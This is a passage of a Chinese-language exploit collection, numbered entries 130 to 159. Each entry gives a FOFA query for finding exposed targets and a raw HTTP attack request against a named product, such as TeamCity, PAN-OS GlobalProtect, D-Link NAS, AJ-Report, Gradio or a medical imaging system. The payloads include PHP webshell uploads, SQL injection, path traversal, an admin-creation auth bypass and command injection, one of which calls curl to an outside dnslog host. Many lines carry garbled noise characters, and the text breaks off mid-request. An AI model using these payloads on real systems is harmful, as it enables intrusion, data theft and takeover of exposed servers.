9 s, A. [9 i: a( ?0 {% |, q$ [Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

- U! u0 ^; w/ O
130. Laykefu客服系统任意文件上传
* n2 P! B2 ?; SFOFA：icon_hash="-334624619"
+ r3 T; A# U; B% F  FPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
7 v1 W1 a! G, m# x7 L  [3 OAccept: application/json, text/javascript, */*; q=0.01
+ r. @  C5 Y( W# d+ O: m! V! X- AX-Requested-With: XMLHttpRequest
) b6 y  |: s0 ?# yUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
6 B8 F+ _: s/ e/ d( m( j( v" V# `
------WebKitFormBoundary3OCVBiwBVsNuB2kR
& R+ ?6 e7 a! ?3 a( aContent-Disposition: form-data; name="file"; filename="1.php"
1 X% A5 E. k' jContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
2 X, s$ k* X1 n* eFOFA：icon_hash="-2087517259"
& `- o' r8 N4 D后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

7 L# Z* z# I. k- i2 L! U132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* d4 _2 l/ n; u& |  MCVE-2024-27198
FOFA：body="Log in to TeamCity"
) w' ?7 L! B. oPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
0 F: M$ S5 x$ v' d5 V! LHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
: C: a" L/ d% \6 sAccept-Encoding: gzip, deflate
# D( E5 E$ |( l# f+ t* Z
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
! L- T5 O" ~+ a3 F- j: [

9 q- b  P* E7 J/ yCVE-2024-27199
/res/../admin/diagnostic.jsp
1 d# G/ m, t) ?/.well-known/acme-challenge/../../admin/diagnostic.jsp
2 A( A# w' Y1 T9 [2 j& |1 `/update/../admin/diagnostic.jsp


9 }/ T; r# D1 C7 p4 o0 C, r( ACVE-2024-27198-RCE.py

2 D/ z- }% b  H133. H5 云商城 file.php 文件上传
0 B2 `# K% d1 G! z8 e& I6 K! LFOFA：body="/public/qbsp.php"
2 F, @4 ~# K) W- `, Q5 u; \* d7 APOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
$ X% p2 i% \9 l, C$ J) E
2 [" A+ u/ l7 Y  E3 B* S& L------WebKitFormBoundaryFQqYtrIWb8iBxUCx
" M" R& Y4 V" w  sContent-Disposition: form-data; name="file"; filename="rce.php"
1 I6 e" u  O$ U$ Y! f& |Content-Type: application/octet-stream
7 c& t: x  L; n: g- G5 x$ g0 S
7 }# s$ ^) M' t6 n; G' j; [- R<?php system("cat /etc/passwd");unlink(__FILE__);?>
. I0 [3 Q$ L8 H$ t: V------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

4 E$ E( H" l( [* p# e* i
% p  m5 q  h, G" l% J3 F2 G+ ?
/ j. S- K% _$ d) b" |$ Y134. 网康NS-ASG应用安全网关index.php sql注入
* @& [' _& @1 h6 NCVE-2024-2330
( L2 g+ }; U5 A" e2 f; o+ e9 C* s, P4 yNetentsec NS-ASG Application Security Gateway 6.3版本
6 b" x, g8 `5 t2 uFOFA：app="网康科技-NS-ASG安全网关"
: c, v  ?5 N) ?2 C# X, v; FPOST /protocol/index.php HTTP/1.1
% G0 G, P" M/ g1 }& XHost: x.x.x.x
+ O8 e0 H  f3 E# WCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 R6 ~( x8 R- {, P3 Y' f4 A" r  sAccept: */*
; [) s$ {# U, T, P. _+ {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 L8 T/ p% p' h8 J! h7 lAccept-Encoding: gzip, deflate
) _- \4 S! J7 ySec-Fetch-Dest: empty
5 L) [- G5 O/ w/ b/ YSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
& U$ b1 R- i0 Y( p  r" i1 `2 _7 rConnection: close
Content-Type: application/x-www-form-urlencoded
3 q" u; w/ v; y( q) l) `4 K) EContent-Length: 263
; W8 Y' W) {( F% N0 O2 d
& Q) [! W8 l. z& T* a& Tjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

( p* Q, [: `" t, O7 Z! }6 L& G
) v+ n. \) w+ ?1 v, m135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
8 X4 r) g- O- `- dNetentsec NS-ASG Application Security Gateway 6.3版本
6 A' t  H; t  z6 }. GFOFA：app="网康科技-NS-ASG安全网关"
3 y& P# }8 i5 a. ?9 C1 }GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
$ q' p2 H4 o2 AHost: x.x.x.x
" I, n/ k/ s4 }9 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 {! r5 G3 J6 tAccept-Encoding: gzip, deflate
/ X1 o' ^+ m- e4 \4 gAccept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
& G# Y, y% d6 E5 l1 b9 rCVE-2023-49785
FOFA：title="NextChat"
$ _) W; {4 z$ p2 |. z" R% QGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# m1 p+ F) W) S% X5 y5 p" q* @Accept: */*
Accept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
1 E; h$ _3 `/ oCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
/ P0 z  y# X  L& h$ B9 f* u8 {GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
/ M( }5 i+ |0 ?; G9 }4 x, m4 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% q$ \; A( F& BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
( q8 t1 [8 Z& k. GConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
* X3 F/ N( K: ]: W- a6 HUpgrade-Insecure-Requests: 1

( h& ~1 `) M( s# @! w
, Q( O% x9 e( O% R138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 v# a+ x- L4 X" w7 r1 jGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
& E6 Q! y, G; D, g* z9 W* aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# o6 o# l* u/ g" X  W' l6 l: VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, V3 V8 ^2 ^7 [Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
, e4 ]  a9 M4 U

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
7 ?. d# F% d3 h8 DCVE-2024-2622
- {% S% f+ D8 g9 v8 ^0 }0 N8 eFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
6 i; S* v" }$ V$ I& vHost: x.x.x.x
, ?$ u2 A0 }* v, z7 ~- w& A' uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 [/ Y! Z; P+ K( ]- f) nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 F; `8 w% B+ ~; N) ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 b  N; c# _2 f! L/ ]# XAccept-Encoding: gzip, deflate, br
" f# y4 }8 e/ W1 a! G. YConnection: close
. d7 v$ K8 \1 S3 b2 r" B5 B- s, a% ZCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

2 i: Z. D" ?; e" _1 M
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
1 M' U3 ?% c' kFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) N# r; p- U6 B6 l' e5 b0 K. rGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
: s* _' L5 O. F  V- y* ?+ dHost: x.x.x.x
$ o7 k  \2 w0 w9 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 m8 D; Y* l5 x" I/ a8 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
4 L# x' P7 e8 y9 D: H' gConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
" o" }5 x8 t& f6 o

! Y6 c+ ~, T9 a$ @+ a141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
! y, ?3 W) Y& u! ~' r5 ZFOFA：body="指挥调度管理平台"
# J4 u; `, B- cPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
0 A' i0 r- l" b  w4 LUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

; a  S5 [7 d0 g4 y
# T% q( n5 u* r9 l4 h* s) Y7 U/ Udep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
; i4 E1 k! [7 W0 e9 y5 h4 |$ q' k- K) mCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

2 n" F, Y6 N/ t, z: n144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
# y0 |3 m- I3 u6 C7 esystem参数用于传要执行的命令
9 y: x1 R7 L( w* D9 y1 J/ OGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
- B& ~$ T( Q. SHost: x.x.x.x
7 Z" \; @$ r0 |* k/ |: G8 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
# N% b1 O8 Z" `% dConnection: close
8 N: r& d& I! {  G- J$ U) `5 kAccept: */*
Accept-Language: en
- O  a$ U) t* S( J) NAccept-Encoding: gzip

, I8 b* t  M2 l; w5 g' n
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
6 z- \% u3 D: HGET /global-protect/login.esp HTTP/1.1
. X' R- w* j' P; P0 U2 Z' GHost: 192.168.30.112:1005
% D" E8 U' G; |6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

& N) U" V* V$ k" r
146. MajorDoMo thumb.php 未授权远程代码执行
% T! }- R! T' PCNVD-2024-02175
FOFA：app="MajordomoSL"
+ y  q( M, \' W& AGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
  |7 o' B: m/ z- n" cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' X6 `: K8 J. ~" i  d1 IAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
9 M* m: x* v4 J: R9 Y! Z! d$ D$ LConnection: close
& K5 H' w' S' K! r

# p1 P+ f% s, }. y; U147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
5 {6 r& }' n7 q- C. z% o( r2 lCVE-2024-32399
/ u. t2 N1 Z* g# J, nFOFA：body="RaidenMAILD"
& U; i9 A+ k- |GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
- W4 B* ?8 n9 U

. D. T- l' ~+ I% ]5 i1 V& m148. CrushFTP 认证绕过模板注入
7 T8 ]' B: @2 C4 n5 u2 ]$ i; qCVE-2024-4040
- {) ~- z7 f' I; tFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
$ y- e2 y% F; c, K  [+ L
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
. i7 E) [* ?4 `2 i( l6 j8 HHost: x.x.x.x
1 H1 V: U, c$ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. y* e7 p' @1 j; U4 v( ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. f! O$ e4 y3 A2 F3 L: q& N$ zAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) S) L3 y; x% H$ B2 t0 g4 W( sContent-Type: application/json;charset=UTF-8
Connection: close

) J; T1 _& R6 g1 c{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
* Z, _! H. |6 G( F
1 s% {  d6 L2 t: c* D4 I150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
; o! y+ j9 `3 u; u' |+ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 g! {4 o+ i- T6 U+ H1 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 z5 g' [" V; h8 N4 e) b7 oAccept-Encoding: gzip, deflate, br
/ j/ `/ ^5 ?! ?& }Accept-Language: zh-CN,zh;q=0.9
) X5 g9 Z  H: ~Content-Type: application/json;charset=UTF-8
) i1 x) v. C4 G0 l9 rConnection: close
Content-Length: 339
/ p- z8 S' s, u" M
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

: v! @6 v" L6 G+ s* L
0 p3 Z+ B' n7 j151. AJ-Report 1.4.1 pageList sql注入
; H" I3 D+ W6 @6 T5 rFOFA：title="AJ-Report"
2 G* E# M* e9 b5 m2 U" qGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
8 K. v) Q* @+ e; n9 s$ m6 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& I: W3 m* r8 c1 v& wConnection: close
1 W* m! ?: T5 D$ E) |- xAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
* E/ U3 e" @+ U- XLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
: c0 `3 l8 X3 v& XFOFA：body="LoadMaster"
+ ?% \! b, |  t  A- N: S8 UJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
' f# H! X7 x' c% P2 W  rGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
( u4 E+ h7 i' m5 f1 J# EAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
) @! I) {/ N( t& l# U8 fhttp://x.x.x.x/config


0 T/ M# W$ ?, M8 _8 ]0 K$ D# h第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
( k' w- I( s7 L8 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
! n. h+ K& q) K' p" u( }Connection: close
Content-Length: 115
. @  q  N+ J. y3 \* }/ D% F! zContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
7 d' N$ Z, O  g% t

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
+ d6 v( S: y! @- c8 y

% D: R, _( N, J$ t! O+ Q5 s9 O7 V154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
1 U$ y& X/ H. G5 S, Y" M5 T6 eUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
, L8 A& Q# B; b# \/ \+ tContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* I- s- `$ r* }# WReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
  V) s% `; o% p' N7 D. F* e* X# CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

( u9 l3 J$ o8 I* N5 t0 g8 B{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
2 g0 u" j$ v2 i; O5 m
% P3 M2 a* o, B" p9 s+ V0 P( p
155. 六零导航页 file.php 任意文件上传
) n3 w  u6 B, Q- o/ F) KCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
2 i. @# o9 _1 K: |Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
; W9 z  z. J0 N" Q7 J& A) mAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

. b) a. \2 F! r& c4 R9 W-----------------------------qttl7vemrsold314zg0f
  ~; N% @3 Z  X6 f  _& _Content-Disposition: form-data; name="file"; filename="test.php"
9 e. A7 I9 G; O# z9 w4 ]$ z. sContent-Type: image/png
- W2 g2 |' c) B' N! p  |
2 N9 ~7 I( J4 D2 o<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
3 A0 m( F) P) ?4 Y8 \* l
% U1 w8 T: w! j, q$ X7 M  D. R
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
2 Y) V& w4 M% B# i- n9 o$ O
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
/ y% W) X2 D6 u6 v" [7 rFOFA："Location: /login.rsp"
. J7 o$ n) A( z6 w& G; O( @3 n·TBK DVR-4104
: E- _! T0 o: l·TBK DVR-4216
9 E! u' T$ p' a; @2 ncurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


( I3 x3 B% K. Y* P, JPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
, \2 {5 O) b6 s+ z- T1 ~Host: x.x.x.x
, @+ s( c7 ]+ B. ~/ [" U% S  i& J9 tUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  ]  [; f% s3 c; T7 PContent-Length: 0
" c# l9 q9 P" N9 \* h+ o3 GCookie: uid=1
Accept-Encoding: gzip
3 v1 G; ?& l" c8 a7 k

6 `# o; E! ~) `" R0 ?$ d157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
* i# _3 A. r7 J" HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
+ E  G0 k. H; Z, Y1 M/ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 T! a( F/ }: ~* b6 |5 ZCache-Control: max-age=0
/ I! e4 A4 E- n" C  GConnection: close
" H1 |+ _; v7 d9 c# h& hContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
  r& j( U$ W& x, q
3 s% C# h( c, V7 V------WebKitFormBoundary1imovELzPsfzp5dN
/ N  h! f+ V9 l9 q- _6 vContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
8 A. D: C' g' ^Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
9 \& g" D$ {# c- f; d; D" ~2 m------WebKitFormBoundary1imovELzPsfzp5dN
1 M# W7 `9 l9 E: m* R+ f* K( [$ U- qContent-Disposition: form-data; name="key"
2 C7 _7 o. H7 A* O# s7 D
) R* m3 a! t6 V0 dnull
3 v6 g+ Z" Y8 D; j$ J4 g------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
2 T. |  [5 e% u4 p* X$ m4 f
null
) g0 N2 W# T. t9 [) F  P------WebKitFormBoundary1imovELzPsfzp5dN
3 N1 V2 X" ?- J" ]Content-Disposition: form-data; name="field"

6 l! q6 v7 O/ J3 ^3 \null
- d6 G, l3 \. u  |& p------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
: l& H4 x& d) n; h
null
1 p  e0 Q  U' ?2 z* d------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
, J6 u7 J2 [- o4 }/ d8 j" I
null
------WebKitFormBoundary1imovELzPsfzp5dN--
+ h; k: A' Q9 v; W; v
) R( Q1 F  w5 g$ C/ a' i( B0 q
. Q6 h, t( u" a2 I1 _$ r7 Jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
" G2 L1 [: R; ~% L, r9 UCVE-2024-32640
  @- f4 Y- i0 A3 |* I! JFOFA："Generator: Masa CMS"
+ s" d3 u% c/ S$ t, d; _! [POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
( c( v8 K+ j+ fHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
% g5 w- w- Z3 u. G3 x# Y

1 L$ i7 B- ?  Q& _$ f159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
; p. |) b" f# o) pPOST /webservices/WebJobUpload.asmx HTTP/1.1
$ @0 Y- }' x. C: R3 ^% V" F' OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
# `" B4 ?) {: ~8 e* a; ]$ TConnection: close
% f% [+ G) J+ d2 b, n) J3 r7 F5 TContent-Type: text/xml; charset=utf-8
7 E& J5 m5 z4 V% \* L/ pSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
' X; U* S1 l% L2 X<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ w7 {. I: l4 _  Z6 u& C5 d. u<soap:Body>
) V3 }- z5 x' C4 P- g( u- u<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
